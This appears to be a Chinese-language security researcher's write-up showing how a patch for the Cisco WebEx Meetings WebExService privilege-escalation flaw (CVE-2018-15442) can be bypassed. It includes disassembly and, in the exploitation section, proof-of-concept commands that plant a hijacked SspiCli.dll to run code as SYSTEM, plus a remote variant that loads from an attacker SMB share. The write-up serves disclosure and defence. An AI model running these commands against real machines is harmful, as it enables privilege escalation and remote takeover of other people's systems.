一、前言
前一段时间，Ron Bowes发现Cisco WebEx Meetings Desktop App中存在一个漏洞，这是一个本地权限提升漏洞，如果攻击者具备用户账户凭据，还能利用psexec以SYSTEM身份远程执行代码。Ron Bowes将该漏洞命名为WebExec，还为此专门建了一个网站。现在的问题在于，官方给的补丁貌似并不完美。
在本文中，我重新发现了CVE-2018-15442的利用方法，绕过了官方对原始漏洞的补丁。由于原始漏洞和补丁绕过方法相似，因此Cisco决定不为该漏洞发布新的CVE编号，我也比较认同这一决定。从技术角度来讲，这是一个远程代码执行漏洞，但该漏洞的触发方式比较特别，在本地上下文中更好利用。
二、简介
Webex网站上对webex的总结如下：
……在Webex Meetings的帮助下，加入会议是非常简单的一件事，音频和视频也更加清晰、屏幕共享比以前更加方便。您可以不用去关心背后的技术，专注更为重要的事务……
话虽如此，麻烦Cisco还是不要忘记技术上的安全性。
在阅读Ron的文章后，我们知道底层的问题在于WebExService会接收用户可控的一个二进制文件，并将其以SYSTEM权限运行。对漏洞利用来说这真是极好的一件事，感谢Cisco！
三、再次发现漏洞
根据Ron的描述，打上补丁后应用会检查待执行的文件是否经过WebEx签名。
打上补丁后，WebEx仍然可以让远程用户连接并启动进程。然而，如果待运行的可执行文件没有经过WebEx的签名，那么就会停止运行。不幸的是，我们并不知道该主机是否存在漏洞。
好吧，让我们按照正常步骤走，自己检查一下补丁情况。从Cisco的CDN上安装最新版应用后，可以发现官方已经打上最新补丁：
图1. 目前33.6.2.16为最新版本
深入分析C:\Program Files\Webex\Webex\Applications\WebExService.exe这个文件后，我们可以看到有趣的一些点。首先我注意到程序代码只查找一种参数类型，即software-update:
.text:00402DC4 loc_402DC4: ; CODE XREF: sub_402D80+1C
.text:00402DC4 push offset aSoftwareUpdate ; "software-update"
.text:00402DC9 push dword ptr [esi+8] ; lpString1
.text:00402DCC call ds:lstrcmpiW
.text:00402DD2 test eax, eax
.text:00402DD4 jnz loc_402E66
.text:00402DDA push 208h ; Size
.text:00402DDF push eax ; Val
.text:00402DE0 lea eax, [ebp+Dst]
.text:00402DE6 push eax ; Dst
.text:00402DE7 call memset
.text:00402DEC add esp, 0Ch
.text:00402DEF lea eax, [ebp+Dst]
.text:00402DF5 push offset pszFile ; "ptupdate.exe"
.text:00402DFA push dword ptr [esi+10h] ; pszDir
.text:00402DFD push eax ; pszDest
.text:00402DFE call ds:PathCombineW
.text:00402E04 sub esp, 18h
.text:00402E07 lea eax, [ebp+Dst]
.text:00402E0D mov ecx, esp ; Dst
.text:00402E0F mov [esi+10h], eax
.text:00402E12 push eax ; Src
.text:00402E13 call sub_402EB0
.text:00402E18 call sub_402310 ; signature check on ptupdate.exe
.text:00402E1D add esp, 18h
.text:00402E20 test eax, eax
.text:00402E22 jz short loc_402E46 ; jump if we don't pass the check!
.text:00402E24 lea eax, [ebp+var_214]
.text:00402E2A mov [ebp+var_214], 0
.text:00402E34 push eax
.text:00402E35 push ecx
.text:00402E36 lea ecx, [edi-3]
.text:00402E39 lea edx, [esi+0Ch]
.text:00402E3C call sub_402960 ; execute "ptupdate.exe" as winlogon.exe
随后，程序代码调用PathCombineW，参数为我们在命令行中提供的字符串ptupdate.exe。看到这里我已经不想进一步逆向分析了，我甚至懒得去逆向分析签名检查函数或者模拟及执行函数，我心中已经有了攻击计划。
四、漏洞利用
此时，我们需要做的就是将C:\Program Files\Webex\Webex\Applications\*中的所有文件拷贝到用户（访客用户或者本地用户）可控的一个目录中（该目录也可以是沙盒目录），然后寻找DLL劫持漏洞，或者删除某个DLL实现DLL劫持。
在可以避免的情况下，我不喜欢程序出现非预期行为，因此我想寻找不影响程序状态的DLL植入问题。为了完成这个任务，我首先执行了如下命令：
mkdir %cd%\si
copy C:\PROGRA~1\Webex\Webex\Applications\* %cd%\si\*
sc start webexservice a software-update 1 %cd%\si
结果表明，SspiCli.dll貌似是一个不错的目标。
图2. ptUpdate.exe无法在当前目录中找到SspiCli.dll
当然，我们还可以继续分析并利用其他43个LoadLibraryW调用。此时，在PoC利用场景中，我们需要再加入1条命令：
mkdir %cd%\si
copy C:\PROGRA~1\Webex\Webex\Applications\* %cd%\si\*
copy SspiCli.dll %cd%\si
sc start webexservice a software-update 1 %cd%\si
图3. 通过DLL劫持以SYSTEM权限执行代码
如上所述，从技术角度来看，我们也可以实现以SYSTEM权限运行的RCE效果，但这个过程必须通过身份认证，此时我们可以使用sc \victim start webexservice a software-update 1 "\attackersharesi"这条命令。
五、总结
如果某个高权限服务执行了文件操作，并且文件路径可由攻击者控制，那么该服务就很容易成功攻击者的目标。这个漏洞非常简单，但功能强大，可以通过SMB方式从远程触发，也能作为沙箱逃逸的一种方法。我认为逻辑漏洞将成为未来主流的漏洞利用目标，此时攻击者距离突破操作系统级别防护仅一步之遥。
Cisco并没有第一时间完全补掉这个漏洞，这一点令人难以置信。Cisco只需要固定C:\Program Files\Webex\Webex\Applications目录，并且移除用户控制的所有输入点即可。我总共花了10分钟就找到了这个漏洞，也给这个漏洞起了个名字：WebExec reloaded，重新载入攻击者可控的任意DLL文件，非常形象。
最后，非常感谢iDefense在漏洞处置过程中发挥的作用。